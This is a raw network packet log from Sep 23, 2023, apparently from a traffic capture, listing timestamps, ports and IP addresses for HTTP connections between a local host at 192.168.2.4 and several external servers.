Sep 23, 2023 17:53:16.475872993 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.475979090 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476025105 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.476187944 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476228952 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476284027 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476289988 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.476321936 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476367950 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.476408958 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476479053 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476525068 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.476608038 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476690054 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476739883 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.476752996 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476825953 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476862907 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476874113 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.476948023 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476984024 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.476994991 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.477052927 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.477088928 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.477098942 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.477140903 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.477181911 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.477231979 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.477252960 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.477303028 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.477400064 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.477438927 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.477453947 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.477488995 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.477540016 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.477611065 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.477701902 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.477749109 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.477854013 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.477932930 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.477979898 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.478054047 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.478138924 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.478185892 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.478228092 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.478322029 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.478374004 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.478394985 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.478501081 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.478554010 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.478574991 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.478651047 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.478697062 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.478725910 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.478806019 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.478847980 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.747662067 CEST	80	49777	5.42.92.211	192.168.2.4
Sep 23, 2023 17:53:16.794554949 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.794584990 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.794604063 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.794792891 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.794811010 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.794826984 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.794842005 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.794862986 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.794893980 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.794893980 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.795078993 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.795097113 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.795111895 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.795128107 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.795145035 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.795161963 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.795208931 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.795208931 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.795217991 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.795301914 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.795420885 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.795420885 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.795778036 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.795828104 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.795933008 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.795967102 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.796015024 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.796061993 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.796097994 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.796192884 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.796241045 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.796267986 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.796355963 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.796405077 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.796432972 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.796562910 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.796611071 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.796672106 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.796752930 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.796798944 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.796842098 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.796941996 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.796989918 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.797029972 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.797092915 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.797137976 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.797250032 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.797310114 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.797354937 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.797383070 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.797472954 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.797518969 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.797548056 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.797624111 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.797671080 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.797697067 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.797785997 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.797833920 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.797872066 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.797971010 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.798022985 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.798043013 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.798134089 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.798180103 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.798226118 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.798352003 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.798399925 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.798425913 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.798505068 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.798552990 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.798619032 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.798789978 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.798851013 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.798851013 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.799022913 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.799060106 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.799077988 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.799149990 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.799200058 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.799278975 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.799352884 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.799403906 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.799449921 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.799488068 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.799545050 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.799592972 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.799685955 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.799730062 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.799762964 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.799817085 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.799834013 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.799882889 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.799953938 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800002098 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800020933 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800071955 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800091028 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800138950 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800158978 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800199032 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800210953 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800249100 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800266981 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800314903 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800334930 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800386906 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800414085 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800451040 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800462961 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800510883 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800534010 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800570965 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800585032 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800621033 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800641060 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800693035 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800709009 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800756931 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800776958 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800817966 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800843954 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800878048 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800885916 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800923109 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800930977 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.800959110 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.800967932 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801006079 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801027060 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801063061 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801071882 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801098108 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801101923 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801140070 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801165104 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801208973 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801233053 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801278114 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801301003 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801337004 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801346064 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801381111 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801420927 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801457882 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801460028 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801502943 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801557064 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801604986 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801625967 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801670074 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801693916 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801729918 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801738977 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801765919 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801774025 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801810980 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801835060 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801871061 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801886082 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801909924 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.801939011 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801974058 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.801981926 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802017927 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802043915 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802079916 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802086115 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802129984 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802148104 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802184105 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802192926 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802253008 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802320957 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802388906 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802397966 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802398920 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802398920 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802455902 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802465916 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802491903 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802512884 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802552938 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802561045 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802597046 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802617073 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802651882 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802663088 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802699089 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802717924 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802753925 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802767038 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802820921 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:16.802833080 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:16.802889109 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:17.118978977 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:17.119043112 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:17.119080067 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:17.119116068 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:17.119153976 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:17.119191885 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:17.119230032 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:17.119267941 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:17.119333982 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:17.119333029 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:17.119333029 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:17.119333029 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:17.119333982 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:17.119333982 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:17.119333982 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:17.119374037 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:17.119393110 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:17.119393110 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:17.119411945 CEST	80	49776	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:17.119421005 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:17.119466066 CEST	49776	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:17.171688080 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:17.171761990 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:17.354827881 CEST	80	49777	5.42.92.211	192.168.2.4
Sep 23, 2023 17:53:17.354893923 CEST	80	49777	5.42.92.211	192.168.2.4
Sep 23, 2023 17:53:17.355076075 CEST	49777	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:17.355076075 CEST	49777	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:17.380906105 CEST	49777	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:17.490520954 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:17.490850925 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:17.496449947 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:17.502048016 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:17.502109051 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:17.820976973 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:17.821181059 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:17.825953960 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:17.840465069 CEST	49779	80	192.168.2.4	77.91.68.61
Sep 23, 2023 17:53:17.879118919 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:18.164817095 CEST	80	49779	77.91.68.61	192.168.2.4
Sep 23, 2023 17:53:18.165119886 CEST	49779	80	192.168.2.4	77.91.68.61
Sep 23, 2023 17:53:18.165210009 CEST	49779	80	192.168.2.4	77.91.68.61
Sep 23, 2023 17:53:18.487267971 CEST	80	49779	77.91.68.61	192.168.2.4
Sep 23, 2023 17:53:18.490015984 CEST	80	49779	77.91.68.61	192.168.2.4
Sep 23, 2023 17:53:18.535509109 CEST	49779	80	192.168.2.4	77.91.68.61
Sep 23, 2023 17:53:18.577035904 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:18.577080011 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:18.896069050 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:18.902718067 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:18.921977043 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:18.921977997 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:19.242057085 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:19.249620914 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:19.259757042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:19.315054893 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:19.563436031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.563574076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:19.568813086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:19.872520924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.872550011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.872567892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.872618914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.872653961 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:19.872665882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.872683048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.872728109 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:19.872750998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.872803926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:19.872806072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.872878075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.872926950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.872931957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:19.872942924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:19.872987032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.176292896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.181498051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.181570053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.191941977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.202645063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.202708960 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.213330984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.223937035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.224000931 CEST	49781	80	192.168.2.4	5.42.65.80
